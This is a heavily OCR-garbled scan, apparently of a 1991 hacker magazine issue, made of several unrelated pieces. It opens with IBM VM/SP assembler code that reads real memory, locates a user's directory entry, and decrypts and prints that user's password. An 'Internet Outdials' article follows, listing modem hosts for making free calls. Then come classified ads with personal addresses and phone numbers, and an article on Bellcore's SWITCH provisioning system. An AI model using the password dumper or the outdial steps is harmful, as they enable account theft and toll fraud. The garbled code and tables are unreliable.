� LTR R I S , R I S  ; POINTER LOOKUP SUCCESSFUl? ICN R6 , B ' 1000' , 'I ' 40 '  ; SET F L M  TO STORE RESP IN  BurreR . 

9HZ ERROR I NOPE. E I I T  PROGRAM. LA R7, I 30 I RY+I  -) LENGTH Of RESPONSE BurfER. 

�. LA R I O, DNKSYSPL I POINT TO OUR V I R TUAL PTR L I S T .  D C  I '  83460008'  ; EXECUTE V IRTUAl CONSOLE D IAGNOSE . 

OQ NWPAGE OS OH BNZ D IAGBERR ; COMMAND rAILED, I NfORM THE USER. 

"'"' ICN R2 , B ' I l I I  ' , O IR IO )  I END  Dr  V IRTUAL POINTER L IST? LTR R6,R6 ; CHECK CP LOCK RETURN CODE . 

� BN NOSUCH I YES. USER NOT rOUND. BNZ UNLCKERR ; CP UNLOCK ERROR OCCURRED .  

"'"' LA R I O, 4 IR I 0 )  ; BUMP TO N E l T  V IRTUAL PAGE POINTER. LA R3, PAGEBUr I PO INT TO THE UDIR9LoKS.  

SRL R2, 4 I SHIH orr 4 B I TS TO AL IGN ON BYTE. USING UD IRBLoK , R3 I USE THE UDIRBLoK OSECT .  

ST R2, TENPrW I I I ' ooon ooo' -) I ' OOOOEI OO '  LA R4 , PA6E9ur I GET THE SlART ADDRESS Of PAGEBur. 

N UNPK TEMPrW2 I S ) , TENPrW I + 1 ( 3 )  I I ' OOOOE IOO'  -) l ' fOfOrEr l '  AH R4, UDIRDISP I POINT TO  THE LAST UDIRBLDK. 

� TR TEMPrW2, B I N2CHR ; m rUllWORD rOR CP LOCK CND. NEl/USER OS OH 

NVC r I RSTPG I , TEMPrW2+1  I MOVE f I RST PAGE t TO LOCK CND. CLC USERI D ,  UDIRUSER I IS TH IS  THE USERID?  

� 
NVC LASTPGI , TEMPrW2+1 ; MOVE LAST PAGE I TO  LOCK CND. BE GOTCHA I YEP. SET THE PASSWORD • PRINT I T .  
NV I RESPBU, , 1 ' 40'  I CLEAR THE RESPONSE BurreR . LA R3 , UOIRS I ZE'BIR3)  ; BUNP R3 TO NEll USERI D .  

� HVC RESPBUF+ I I I  m , RESPBur CLR R3, R4 I ARE WE A T THE END or THE PAGE . 

t'I l.� R9, 2 ; EXECUTE LOCK CONNAND TWICE.  BH NElTPAGE I YEP. 60 GET ANOTHER PAGE . 

i' LCKAGA I N  DS OH 8 NEl TUSER ; KEEP ON CHECK I NG THE USERIDS.  

LA R4 , CPLOCK RI - )  ADDRESS Dr CP COMMAND. GOTCHA DS OH 

LA  RS , RESPBur WI -) ADDRESS or RESPONSE BUrrER . NVC OUSER ID ,  UD I RUSER "OVE OUT THE USER l D .  

LA R6 , 23 RY -) LENGTH or CP CONHAHD. MVC OPASSWD, UDIRPASS NOVE OUT THE PASSWORD. 

i 
ICN R6 , B' 1000' , 'I ' 40 '  SET ,LAG TO STORE RESP  IN  BurreR. IC OUSERIO , MASK DECRYPT THE USER I D .  

L A  R7, I 30 RY+I -) LENGTH or RESPONSE BUrrER. IC OPASSWD, MASK DECRYPT THE PASSWORD. 

� DC I ' B3460008'  V IRTUAL CONSOLE D IAGNOSE.  WRTERN OUSRPWC, LUSRPWD WR ITE  OUT USER ID  , PASSWORD. 

t..I BNZ D IAGBERR SOHETHIHG WENT WRONG, I SSUE ERROR. S GETOUT ALL DONE, BETTER Ell T NOW. 

� LTR R6, R6 CHECK CP LOCK RETURN CODE. PAGEERR DS OM 



WRTERK ' ?PAGE READ ERROR ' 
B SETOUT ; E X I T  PROGRAM. 

NOSUCH OS OH 
WRTERM ' ?USERID  IS NOT IN THE YM/SP D IRECTORY' 
B mOUT ; Ell T PROGRAM. 

01 A6BERR OS OH 
WRTERM ' ?Y IRTUAL CONSOLE D IASNOSE fAILED' 
B mOUT ; EIIT PRoGRAK. 

lOCKERR 05 OH 
WRTERM ' ?CP LOCK ERROR OCCURRED' 
B SETOUT ; E I I T  PROGRAM. 

UNLCKERR OS OH 
WRTERM ' ?CP UNLOCK ERROR OCCURRED' 
B GETOUT I E I I T  PROGRAK. 

ERROR OS OH 
WRTERM ' ?ERROR READ ING V IRTUAL PAGE POINTERS' 
B GETOUT ; E I I T  PROSRAM. 

SUBROUTINE TO SET A COPY Dr THE OMKSYSPL POINTERS 
INTO OUR V IRTUAL MEMORY. 

f, 
SETPNUKS DS 

LA 
LA 
LA 
DC 
L 
L A  
S T  
LA  
LA 
LA  
DC  
LA 
LA 

LOOP OS 
LA 
LA 
LA 
DC 

OH 
R2 , PSA 
R3, I 
R4 , SYSLOCS 
1 ' 83230004 ' 
R2, SYSLOCS 
R 2 , 56 ( R2) 
R2, PLPTR 
R2, PlFTR 
R3 , I  
R4 ,  SYSPLPTR 
I' B3230004' 
R6 , DmYSPL 
R7 , 1 6  
OH 
R2, SYSPLPTR 
R3 , I 
R4 , mm 
I ' B3230004 ' 

POINT ADDRESS Of SYSLOCS. 
ONL Y I ENTRY. 
STORE ADOR Of SYSLOCS HERE . 
PEEK AT REAL mORY. 
MOVE REAL ADDR Of SYSLOCS TO R2. 
ADD OffSET TO PO INT  TO DMKSYSPL . 
STORE THAT ADDRESS fOR DlAS.  
PO I NT TO  THAT ADDRESS. 
ONL Y I ENTRY. 
STORE ADDRESS Of 1ST  PASE POINTER. 
PEEK AT  REAL mORY. 
PO INT  TO OUR PAGE POINTERS L IST .  
ALLOW UP TO 1 6  PASE POINTERS. 

POINT TO  1ST  V IRTUAL PAGE ADDRESS. 
ONLY I ENTRY. 
STORE PASE AO� I N  HOLD AREA. 
PEEK AT  REAL f ORY. 

ICM R I , 15, O (R4 )  ; 15 THIS  THE  LAST  Y IRTUAL PAGE  PTR? 
ST R I , O ( R6 )  I S TORE ADDR Of PAGE IN O U R  Y IR  LIST .  
LA  R6, 4 (R6)  ; BUKP POINTER TO NElT fULlWORD. 
BM LASTONE I YES. CONTINUE ON. 
L R2, SYSPLPTR ; m OLD YIRTUAL PAGE POI NTER ADDR. 
LA R2, 4 ( R2 )  ; BUKP fULLWORD T O  SET NElT POINTER. 
ST R2, SYSPLPTR ; REPLACE fOR NElT PEEK MEKORY D l AS.  
BCT R7 , LOOP ; ALLOW fOR UP TO 16 TABLE ENTR IES .  
LA R I 5, I 6  ; S E T  RETURN CODE TO 1 6 .  
WRTERK ' ?ERROR READ ING PAGE POINTERS' 

BR R I 4  
LASTONE O S  OH 

LA R I 5 , O  , S E T  RETURN CODE T O  0 (SUCCESS) .  

BR R H  ; RETURN TO CALLER. 
t 
SETAPASE DS 

LA 
LA 

OH 
R9 , 1020 
R4, PASEBUf 
OH 
R2, RAOORLST 
R3 , I  
R4 , O ( W  
1 ' 83230004 ' 
BADREAD 
R 4 , 4 (R4)  

I GET 1 020 fULLWORDS fROK REALADDR. 
; POINT TO  BEGINNINS PAGE BurfER. 

PEEKER DS 
LA 
LA 
LA 
DC 
BNI 
LA 
L 
LA 
ST 
BCT 
LA 
BR 

BADREAD OS 
LA 
BR 

R2, RADDRLST 
R 2 , 4 (R2)  
R2 , RAODRLST 
R9, PEEKER 
R I S , O  
R I 4  
OH 
m, 1 6  
R I 4  

; POINT TO  ADDRESS T O  PEEK AT . 
; ONLY I ENTRY IN PEEK L I ST . 
; POINT TO THE PAGE BUffER. 
; ElAKINE REAL MEMRY . 
; PEEK fAILED,  I SSUE ERROR MESSAGE . 
; BUMP PAGE BUffER ONE rULLWORD. 
I SET LAST ADDRESS EIAKINED. 
I INCREKENT BY A fULLWORD. 
; REPLACE I N  V IRTUAL L I S T .  
; GO PEEK AGAIN .  
; SET  RETURN CODE  TO 0 (SUCCESS) .  
; R E  TURN T O  CALLER . 

; SET RETURN CODE TO 16 (fATAl l .  
; RETURN T O  CALLER 

RESTORE CALL I NGS PROGRA"S RESI STERS, SET THE C"S RETURN 
COOE, AND E I I T  THE PROGRA". 

, 
SETOUT DS 

L 
L" 

OH 
R Il ,  SAVERES+4 
R I 4 , R l 2 , 1 2 ( R I 3 )  

I 6 E T  POINTER TO SAVED REGISTERS. 
; RESTORE THE CALLERS RESISTERS. 
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IR R I 5 , R I 5  ; S E T  RETURN CODE TO  ZERO. 
BR R I 4  ; AND BACK TO THE CAllER W E  GO. 

DEf I NE CONSTANTS AND STORAGE SEmON. 

I 
mOCK DS OD ; TH I S  COMMAND WIll CAUSE THE 

TEMPFWI DS ; TEMP HOLD AREA FOR A FUllWORD. 
DC C ' lOCK sysm ' ; DES IRED V IRTUAL PAGE NUMBERS I 

f I RSTPGI DC Cl3' , I TO BE lOCKED IN REAL STORAGE, mPrW2 DS I 1m HOLD AREA FOR A rULLWORD. 
DC C '  , 

DS ; WORK BYTE FOR UNPK INSTRUC T I ON.  
lASTPGl DC Cl3' I I 

DC C' , 
MASK DC B l '  AA' I MSK FOR PASSWORD ENCRYP T I ON .  

DC C ' "AP' 
USE P I D  D C  C l B '  , I CMS USE R I D  HOLD AREA. 
SYSlOCS DS F I ADDRESS OF SYSlOCS I NFORMAT ION.  

CPUNlOCK DS OH I TH IS  COMMAND W I ll RELEASE PAGES SYSPlPTR DS F I mST V I R TUAL PAGE POINTER. 
DC C ' UNlOCK SYSTEM ' I lOCKED IN REAL STORAGE BY TH IS  PlPTR DS F I PO I NTER TO D"KSYSPL . 

� f I RSTPG2 DC Cl3'  , I PROGm. TEMPPl DS F ; HOl O I NG AREA FOR DMKSYSPl ms. 

�. 
DC C'  , PSA DC Il4 ' OOOO03AB' I REAL ADDRESS FOR SYSlOCS I NFO.  

lASTPG2 DC Cl3' , 
OMKSYSPl DS I6r ; 1 6  FULLWOROS OF 1 ' 00 ' . 

I 
RESPBUF OS C L l 30 '  , I RESPONSE BUFFER FOR CP lOCK C"DS. 

.... B I N2CHR DS OH I B I NARY TO  CHARACTER TRANSLA T I ON I 

� DC 256AL I ( I - B I N2CHR) I TABLE USED TO  OBTA I N  V IRTUAL OUSRPWD OS OH I USER I D  AND PASSWORD OUTPUT L I NE .  
ORG B I N2CHR+l ' 40'  ; PAGE NU"BER FOR lOCK COMMAND. DC C ' IUSER I D ,  ' 
DC 1 ' 00 '  OUSER I D  DC ClB' , I DECRYPTED USER I D  GOES HERE. 
ORG B I N2CHR + I ' FA'  DC  C '  PASSWORD, ' N DC Cl6' ABCDEr' OPASSWD DC ClB' , I DECRYPTED PASSWORD 60ES HERE. � ORG lUSRPWD EQU I-OUSRPWD I lENGTH OF PASSWORD D I SPLAY MESSAGE � 

I 

� CHR2B I N  DS OH I CHARACTER TO  B I NARY TRANSLAT ION  SAVE  REG DS  IBF  I AREA  TO  SAVE CAllERS REG I STERS. 
DC 2S6Al I ( HHR2B I N )  T A B L E ,  USED TO CONYERT INF O  

� ORG CHR2B I N + I ' C I '  I REC E I YED FROM CP lOCK COMMAND ORG PW+409& I RESET ON A PAGE BOUNDARY.  

S· DC  I '  OAOBOCODOEOF ' I TO AN ACTUAL FUllWORD ADDRESS.  I 
ORG , RADDRlST DS F I REAL PAGE POINTER ADDRESS L I S T .  " 

PAGEBUF DS 40801 ; PAGE BUFFER ' (4K - 2D) 
DS OF ; AL I GN ON A FUll WORD BOUNDARY. ORG , ; RESET lOCAT I ON COUNTER. 

REAlADDR DS Cl4 ; WORK AREA TO OBTA IN  REAL ADDRESS L10RG I l I TERAL POOL STARTS HERE . 

� DS C I FOR EXAMINE REAL STORAGE D I AS .  RESEQU I SET UP RESI STER EQUATES. 
OQ I AND THA l' 5 All FOLKS. 
" TMPREAl DS ClB I Tm HOLD AREA WHILE FUDG I NG END 

� DS C ; ms. 



Internet Outdials 
by Kevin 

Intro 
The following is an introduction to one of the 

lesser known secrets of the I nternet: outdials.  
While many people have known about ways to 
dial into the net and access tel net or IRe, many 
have not discovered the outdials. 

Outdials put si mply, a re modems that you 
can remotely connect to through the Internet and 
use to m a ke c a l l s  to the outside phone net. 

Obviously, this al lows us to make free and legal 
cal ls that might otherwise cost us long distance 
cha rges or help get us i nto t rouble for ot her 

methods. There are drawbacks though. F i rst, 
si nce you a re going throug h the nets, you wil l  
have a noticeable delay in  your response time. 
There is also the problem of connections being 

NPA 

218 

I P ADDRESS 
a a28.d.umn .odu 

Addr ..... 

INSTRUCTIONS 
1. first typo: ·cli· 

h a lted a n d  even d i scon necte d .  Of t h e s e  
drawbacks, the delay wil l  be the most annoying. 
Keep this in m i nd as you sit in fro nt of your 

monitor waiting for your data to arrive. 
How To Do H  

In  order to reach the outdials,  yo u m ust 
h ave a way to access tel  net, ftp, or be able to 
rlog in at other sites. If you h ave access to the 
a bove,  you s i m p l e  type the f o l l o w i n g  
commands: 

teln .. XX.X.X.X 
ftp XX.X.X.X 
rlogln xx.X.X.X 
(where the X's a re the address ) 

If you do not com pletely u n derstand tel net, 
ftp, or rlogin, you should check the onl ine help 
on the system that you are logged into. 

. i  . . ........... ca;�.· · · · · . · ·.· · ·  ",peA iAl;.. C;Ci�.); Tlifj ll! 

2. then, type. ·<login modem· 

\'I(#�(fd#ii A�iis y�# m!i�" Wll! 
.o/!(1I&i#!· .. @fu:tn··m�i@! ••• fft"(I. 
hBilifri61dti. WhatthiiNPAIs; lf 

313 

614 

916 

B04 
307 

609 

713 

615 

415 

412 

m 

204 
??? 

619' 

201' 

??? 
OH' 

???* 

MASS' 
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modom.d.umn.adu 

or 129.n.l .59 

35.1 . 1 .6 

ns2400.ircc. 

ohio-stat •.• du 

128.1 20.2251 

1 28.1 43.70.101 

1 29.n. l .59 

modom.uwyo.odu 
128.112.131 . 1 10  

128.112.131 . 1 1 1  

128.112.131 . 1 1 2  

1 28.1 12.131 . 1 1 3  

128.112. 1 31 . 1 1 4  

128.249.27.1 53  

modom24.bcm.tmc .• du 

modomI2.bcm.tmc.adu 

dca.utk.adu 

1 28.32.132.250 

gate.cis.pittedu 

dia loutl .Princoton.adu 

128.112.131 . 1 1 0 10 1 1 4  

umnelcc.manitoba .ca 

vtnot1.cns.ut.odu 

128.1 73.5.4 

dia lin.ucsd.odu 

1 28.54.30.1 

128.112.88.0 to 3 

mod.m.cis.uftu.adu 

r596adil .uc .• du 

129.137.33.72 

dswitch.byu .• du 

128.187. 1 2  

dia lout.lcs.mit.du 

18.26.0.55 

3. It tho login: prompt, typo ·modem·. 

Hayos compat 

Type ·di.I2400· . .  • or ·di. n 200--. .  • 

Typo ·di.r 

Type ·di.lout·. 
Type "connoct h.yas". 

Hay .. compat 

Hly .. comp.t. 

Hayas complt 

Typo "dial24OO" 

Type "dia n "  or "di.lZ" 

Typo "tAr 
"Connoct Dialout" 

"<Control-E> 

"d 91 kXJOOOOO(" 
Whora X's is tho fona t. 

Typa "dia n Z" or "diaI24" 

Typo "CALL" or "ca ll· 

Typa "dialout" 

Type "C Modam' 
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at the Cilicorp Center--from 5 to 8 pm in the 
lobby near the payphones, 153 E 53rd St, 
NY, between Lex & 3rd. Come by, drop off 
articles, ask questions. Call 5 16-75 1-2600 
for more info. Payphone numbers at 
Cilicorp: 21 2-223-901 1 ,212-223-8927, 2 1 2-
3 08- 8044, 2 1 2-308-8 162, 2 1 2-308- 8 1 84. 
Meetings also take place in San Franc:lsco 

at 4 Embarcadero Plaza (inside) starling at 
5 pm Pacific Time on the first Friday of the 
month. Payphone numbers :  4 1 5 - 3 9 8-
9803,4,5,6. 
SPY SHOP CATALOGUE. Every1hing from 
lock p.cking tocis to sbm guns, ftan bulleqmof 
vests 10 bmss knuckles, ftan 1dep1one IlIlIliIaing 
sys1emI lo  high Illch secure SCI'IlrItiecs, taps, bugs. 
night vision, tracking sys\ems, peIi.m:1cr de1r.ctioo 
systems. 150 pages of underground infoonation, 
!!OIIlI%S, and equipnDrt. Send $5 check <r 1lDleY 
order 10: Bug Busters, PO Box 978, Dept 2-6, 
Sh<reham, NY 1 1786. 
I AM LOOKING FOR SOMEONE to 
trade info on hacking and phreaking. Also I 
want to buy different (colored) boxes. Write 
to Brandon Krieg, 2830 NW 44th St, Boca 
Raton, FL 33434. 
TE CHNICAL SURVE ILL ANCE 

COUNTERMEASURES, communications 
engineering services. Ross Engineering, Inc., 
7906 Hope Valley Court, Adamstown, MD 
21710. 800-US-DEBUG. 
WOULD LIKE TO HEAR FROM and 
correspond with hackers here and abroad. 
Please call after 6 pm EST. Edward 301-702-
1 009, 3 3 1 1 Dallas Dr. , Temple Hills, MD 
20748. 
COCOTS FOR SALE: Perfect working 
condition, removed from service. Credit card 
only type, has card reader built into unit. 
DTMF, 12 number speed dial. $80 each plus 
$ 1 5  shipping. Call or write for info. Bill 
Rogers , 2030 E. Charleston Blvd . ,  Las 
Vegas, NV 89104. 800-869-8501,  (702) 382-
7348. 
LOOKING FOR SOMEONE to 

to get a 
of hacking and phreaking. (I am in prison.) 
As I would like to ask questions, please write 
me directly. If you wish to use a nickname 
that' s  fine. Just make sure you write it as 
your return address or it won' t  get to me. 
Victor Mendoza, 9601 NE 24th St. 410216, 
Amarillo, TX 79 107-9601 .  
OLD TAPES of telephone recordings, rings, 
busys, etc. wanted for radio programs. Also, 
current recordings and funny phone calls 
welcome. Send to Emmanuel, PO Box 99, 
Middle Island, NY 1 1953. 
TAP B A C K  ISSUES, complete set I s s  
1 -9 1 ,  high quality, $ 5 0 .  S A S E  for index, 
info on other holdings. Robert H., 1 209 
N 70th, Wauwatosa, WI 532 1 3 .  
PORTABLE DWELLING INFO

LETTER: About living in tents,  yurts, 
domes, vans, trailers, boats, wickiups, remote 
cabins, and other mobile or quickly made 
shelters. Sample $ 1 .  POB 1 90- HQ, 
Philomath, OR 97370. 
T A P  B A C K  I S S U E S ,  c o m p l e t e  s e t  
Vol 1 - 9 1 o f  Q UALITY copi e s  from 
ori g i n al s .  I n c l u d e s  s c h e ma ti c s  and 
indexe s .  $ 1 00 postpaid.  Via UPS or 
F i r s t  C l a s s  M a i l .  C o p y  o f  1 9 7 1  
E s quire article "The S e cre t s  o f  t h e  
L i t t l e .  B l u e  B o x "  $ 5  & larg e S A S E  
w/5 2 c e n t s  o f  s t a mp s .  P e te G . ,  P O  
B o x  46 3 ,  M t .  Laure l ,  NJ 0 8 05 4 .  W e  
are t h e  Orig inal ! 

Ma rket place ads a re free to 

subscri bers! Send your ad to:  

260() Ma rket place, PO Box 

99, M i ddle Island, NY 1 1 953. 
Include ydur add ress label. 

Ads may be edited or not • r 

printed at our discretion. 

Deadline for Summer issue : 

7/ 1 5/9 1 .  
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The New LEC Order 
Acronym City 

by New Hack City 
A general forward movement of 

telecommunications companies to ready 
themselves for ISDN has been revolutionizing 
the LEC's + IEC's. Focusing on the changes to 
the tradi tional,  al ready- exi sting tele
communications n e twork, it  i s  clear that 
switches are more ready to not only carry more 
traffic, but ready to support more than the 
traditional a n al og v oice/one channel per 
·circuit" ( by ci rcui t I mean not only LEC 
interoffice message trunks and special services 
circuits, but customer loop plant "lines" as well) 
B��/; ce, becoming software-driven structures 
that not only support multi-channel digital 
data communications and high traffic, but that 
allow better administration of themselves by 
the LEC. And not only switches have changed -
interoffice circuits have metamorphasized from 
analng, single channel, public message trunks 
using MF signalling on a copper wire into 
digital, multi-channel (using FDM and TDM), 
private/public carriers using CCS6 ( C C I S )  
signalling o n  a fiber optic cable, radio wave, 
microwave, or even a satellite. Even loop plant 
customer lines are being multiplexed, such as 
the DOV ISDN line. 

It's obvious that LEC's cannot continue to 
use the same facilities to provision, operate, 
and keep record s on these new s w i tches, 
·circuits" (lines, public message trunks, and 
s pecial services circui t s )  and other 
telecommunications equipment (plug-in, DACS, 
e tc . ) .  M any OSS's cannot handle this new 
tech nology , and only through i ntensive 
manpower can provisioning, operating, and 
record-keeping of these new technological 
services be done. Complicated ·RC service 
orders" are often unprocessable by both MIZAR 
and COSMOS, forcing RCMAC personnel to not 
only translate the RC service order for the 
speci fi c  swi tch (and switch version), but to 

enter the manually transl ated RC service 
orders into the speci fic switch . . .  manually. 
LFACS is another bogged down system with 
difficult-to-process service orders for digital 
loop carrier systems, forcing LAC to complete 
the order. Not only is the excessive manpower 
being used, but customer orders for service are 
often backlogged, making them wait for months 
for the service to be implemented. 

Which is  where BELLCORE comes in.  
BELLCORE, among other things, mechanizes, 
restructures, and ·updates" the LEC system 
(·Update" has two meanings - updating the 
network at large by adding new systems -
which is done at the core of the BELLCORE 
engineering/planning brai n ,  or updating a 
specific part of the network, say updating an 
OSS to include knowledge of the latest hatch of 
newly invented circuits - which is more of a 
details kind of thing that BELLCORE does). 
Just following one OSS, say TIRKS, one can see 
all three of these BE LLCORE functions in 
action: TIRKS is obviously updated on the new 
kinds of circuits, for it not only keeps track of 
all circuits on its "database" but it is a tool for 
designing new circuits as well; TIRKS's ClMAP 
module has SSC/CO communications 
mechanized as TI RKS has automated 
communications with PICS recently as well; 
and restructuring can be seen in TIRKS 
restructuring from one large OSS with one 
databas e ,  i n to three sep arate modules : 
engineering and planning, provisioning, and 
operations (the CIMAP module), each having 
its own database. Actually, the entire LEC 
system is  becoming divided into these three 
parts (engineering and planning, provisioning, 
and operations). 

BELLCORE has had a pet project that has 
been gnawing at it since i ts i n ception:  
i n tegrating FACS and TI RKS . As s pecial 
services circuits proliferate (they now account 
for half of in teroffice circui ts ) ,  i nteroffice 
circuits become less things added when traffic 
between two switches grows, and more things 
that are provisioned from service orders -
almost like a line ... in this situation integrating 
FAC S and TI RKS begi n s  to make sense. 

Another reason for the integration is that 
TIRKS increasingly needs information from 
F ACS (information about the loop makeup so 
that TI RKS can design special services 
circuits), and this information is all sent to 
TI RKS . . .  manually. S o  besides circui t 
provisioning requests �oming more and more 
from customer service orders i n s tead of 
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suggestions by traffic analyzing bureaus, more 
coordination is needed between the loop plant, 
switch, and circuit provisioners to provision 
special services effectively, since all three are 
i nvolved in the special services circui t 
provisioning process. 

The main BELLCORE plan in its updating, 
mechanizing, and restructuring of the overall 
network, the very core of B ELLCORE's 
technological division's master plan for LEC's is 
the re-subdivision of the LEC system. The LEC 
system is currently basically sub-divided into 
the different parts of the telecommunications 
network: lines (LMOS, MLT, CRAS, CRSAB), 
M D F  ( C OSMOS),  switch ( M I ZAR,  sccs,  
OD D ) ,  plug-in equipment ( P I C S ) ,  a n d  
interoffice circuits (sse, NTEC, and SARTS for 
special services circuits; CAROT and CTTU for 
public message trunks ; and TI RKS for both 
types of interoffice circuit). The BELLCORE 
resubdivision of the LEC system will make all 
officeslbureauslcenters and OSS's fall under 
three systems: OPS, EPS, and IPS. OPS stands 
for Operations Process System . OPS is  
responsible for installing, testing, monitoring, 
maintaining, and "fixing" servi ces/service 
equipment in the telecommunications network. 
OSS's such as SARTS, LMOS, and CAROT will 
be under the umbrell a  of OPS. EPS 
(Engineering and Planning System) designs 
and engineers the LEC telecommunications 
network by integrating distribution planning 
systems, inter-office planning systems, and 
switching planning systems . IPS stands for 
Integrsted Provisioning System. IPS is what 
the FACSIl'IRKS integration would come about 
under.  I PS's  responsibility is to assign 
equipment and facilities to provide a service. 
Some systems that will fall un d e r  IPS's 
umbrella are SOAC, LF ACS, MIZAR, parts of 
TIRKS, and a new OSS that I will describe 
below. One should remember, however, that 
the idea that the I nte"grated Provisioning, 
E ngineering and Planning, and Operations 
Process systems are self-enclosed is a fallacy. 
The EPS, OPS, and I PS will interrelate with 
each other, just as TIRKS i nterrelated with 
SOAC, or CRSAB interrelated with SSC on 
occasion. The "new order" is fairly obvious : 
customer requests for service are handled by 
IPS. Operation of the services is run by OPS. 
The examination of the service, planning of 
new services to offer customers , and the 
engineering of those new services is handled by 
EPS. 

The LEC's new subdivision into IPS, OPS, 
and EPS is going to have a huge effect on LEC 
operations as we know them today. It i s  
happening because o f  the move toWl.!-ds ISDN, 
because of CCIS, multiplexing, and intelligent, 

SPC electronic switches. But really, the key 
figure in this change has been the s pecial 
services circuit. The special services circuit is 
really what has revol uti onized the L E C  
telecommunications network because the line 
and interoffice trunk came together to form one 
"circuit". This redefining of what a circuit is has 
enormous i mplications on the future of 
telecommunications. 

SWITCH 
SWITCH is a new service provisioning OSS 

created by BELLCORE to help accomplish the 
aim of IPS, to allow flow-through processing of 
orders by automatically assigning L E C  
equipment and facilities for a service. SWITCH 
will keep track of and assign equipment on the 
line and trunk side of a wirecenter. SWITCH 
will also help the provisioning process in other 
areas as well. 

Because of the enormity of what SWITCH 
will d o ,  in tegrating wirecenter facili ty 
provisioning on the line and trunk side of the 
switching network, SWITCH development is 
cut into two ·phases". Version 1 of SWITCH 
(Version 1 meaning all sub-versions of Version 
1 collectively . . .  Version 1 .0, 1 .5,  1 .7 ,  1 .84758 
etc.) will only keep track o/7assign facilities on 
the line side of the wirecenter. Let us take a 
look at the "history" of SWITCH, starting with 
the conception of SWITCH to its development 
up to the second version. 

As stated in the previous section,  
BE LLCORE had had the idea of the 
I PS/OPSIEPS system, which integrated the 
provisioning, operations, engineering, and 
planning of the LEC system for both the line 
and trunk side of the network. In late 1987, 
BELLCORE did a detailed study of the LEC 
system, especially in the area of a wirecenter 
provisioning of new technologies and services. 
From this study, the suggestion of a system 
that provisioned for both sides of the 
wirecenter, which would, through integrstion, 
help meet the growing demand for these new 
technologies, came about. After two years of 
development of the system that would be called 
SWITCH (so n amed because it was an 
extension of the trunk and line sides of the 
wirecenter, thus an extension of the "switch"), 
the design of Versi on 1 .0 was compl eted. 
( Perhaps needless to say, BELLCORE's  
original schedule of  when the versions would be 
out was a bit  overenthusiastic time
schedulewise). 

Version 1 of SWITCH proviolions exclusively 
for the line side of the wirecenter. Of course, 
everyone is aware of the OSS that currently 
provides for the line side of the wirecenter: 
COSMOS. In Version 1 .0 ,  SWITCH will have 
the ability to take over hal f  of C OS M O S  
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capabilities (but Version 1 . 0  is just a tes t 
version - SWITCH Version 1.7 is the first "real" 
one - so that doesn't matter). Most of the ability 
to help in Version 1.0 would be in the field of 
provisioning for I S D N  lines and packet 
switches. COSMOS is not able to alIow flow
through provisioning of many of these new 
technologies. SWITCH is  able to alIow flow
through provisioning of I S DN's and packet 
switches for digital (and analog) switches 
because of its sophisticated data model of 
services and circuits . Obviously, SWITCH 
would be better able than COSMOS to generate 
switch-specific messages ( RC messages) from 
service orders when MIZAR requests in the 
field of lSDN. 

FOMS, Frame Operations Management 
System is the sub-system of SWITCH that wilI 
deal with the management of work on the 
MDF. FOMS is to SWITC H as C IMAP is to 
TIRKS i.e., FOMS is almost a separate OSS. 
The FOMS sub-system of SWITCH Was created 
along with SWITCH and is not a leftover piece 
fro m  C OSMOS. FOMS will deal with the 
connection and separation of cable pairs from 
OE. 

H o w  would SWITCH work in the line 
provisioning process? A customer would phone 
in his request for a new line to the business 
office, giving any details needed (standard line 
or I SD N  1, call wai ting - yes/no? etc . ) .  
Throughout whatever system the Business 
Office would have, the service order would 
eventually reach the SOP (SOP was the system 
which service orders entered F ACS with). SOP 
would forward the service order to SOAC . 
SOAC would send LFACS ( LFACS is the 
provisioner for the outside loop plant) and 
SWITCH the order. LFACS provides for the 
outside plant part of the service order, i .e . ,  
station protector to cable vault ... still the MDF 
and switch elements must be provided for. 
SWITC H gives the order to i ts FOMS 
subsystem for framework via SOAC. FOMS will 
attach the lines CP to OE. SWITCH also sends 
the service order to MIZAR via SOAC. MIZAR 
enters the service order into the switch as an 
RC message. This is how a line provision was 
done before, the only difference with SWITCH 
Version 1 being that FOMS replaces COSMOS. 

Why are SWITCH's connections to MIZAR 
and even FOMS (its own sub-system) done via 
SOAC? Because SWITCH has more "control" 
over the provisioning process.  The control 
comes about when an order is changed while it 
is pending. In this situation, SWITCH is much 
more flexible than COSMOS.  I f  an order 
changes midway, SWITCH can simply rework 
the order as necessary. SWITCH is "in charge" 
or "responsible" for reworking thi s order, 

mostly due to its flexible time schedule "piles" 
for orders. Obviously, besides these order 
schedule "piles" ,  SWITCH must also have 
detailed records of all the line-side equipment 
of the wirecenter to allow this flexibility in 
assigning and reassigning facilities. 

SWITCH Version 1 .0  was "implemented" 
during December of 1989 in two CO's - one in 
Long Branch, New Jersey (Bell Atlantic) and 
the other in C ahaba Heights,  Alabama 
(BeIlSouth). Implemented is in quotes because 
SWITCH Version 1.0 never connects with the 
actual switching network. Switch Version 1.0 is 
located in the wirecenter, and gets service 
order data, but never connects with SOAC. 
There are two s tages of Version 1 .0 
"implementation". Stage one is Provisioning 
On-site Verification Testing (POVT). POVT 
sends pseudo-orders, created by BELLCORE, 
to SWITCH and then verifies the results from 
SWITCH with the pre-calculated correct 
res ults . S tage 2 of Version 1 .0 
"implementation" is Netted Field Verification 
Testing (NFVT). NFVT sends real customer 
orders to SWITCH to see if SWITCH processes 
orders correctly. Though the orders are real, 
SWITCH is stilI not actually connecting with a 
switching system. 

SWITCH Version 1 .5 will be the first time 
SWITCH i s  actually con nected with real 
equipment. SWITCH Version 1.5 will contain 
whatever modifications that BELLCORE felt 
the need to make from the results of POV and 
NFV testing. Through SOAC, SWITCH Version 
1.5 will connect with LFACS and MIZAR, and 
wilI become a part of the service provisioning 
system. This "soak" version will b e  
implemented i n  the same two wirecenters that 
POV and NFV testing took place in. COSMOS 
will not be totally out of the picture yet because 
SWITCH will need a few more updates entered, 
a few more bugs weeded out, etc. Version 1.5 is 
expected to be implemented in mid-l991.  

SWITCH Version 1 .  7 will contain major 
changes that came about during the Version 
1.5 "soak". The most major of changes will be 
that SWITCH in Version 1.7 can deal without 
COSMOS totalIy, i .e. ,  those who implement 
SWITCH wilI get rid of COSMOS. Version 1 .7  
of  SWITCH will be made available for LEC use 
i n  late 1 99 1  ( "proj ected" date - pretty 
precarious ) .  By late 1 992 mega- SWITCH 
i mplementation/COSMOS annihilation is 
expected.  The ROC's most in terested i n  
SWITCH, and most interested i n  implementing 
it, are Nynex, Pacific Bell, and BeIlSouth. 

Version 2 of SWITCH will not only 
provision for the line side of the network, it will 
provision for the trunk side as well . As 
SWITCH repl aced COSMOS for line-side 
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wirecenter provisioning, so SWITCH replaces 
the current trunk.side wirecenter provisioner(s) 
TAS (Trunk Administration System) and GTAS 
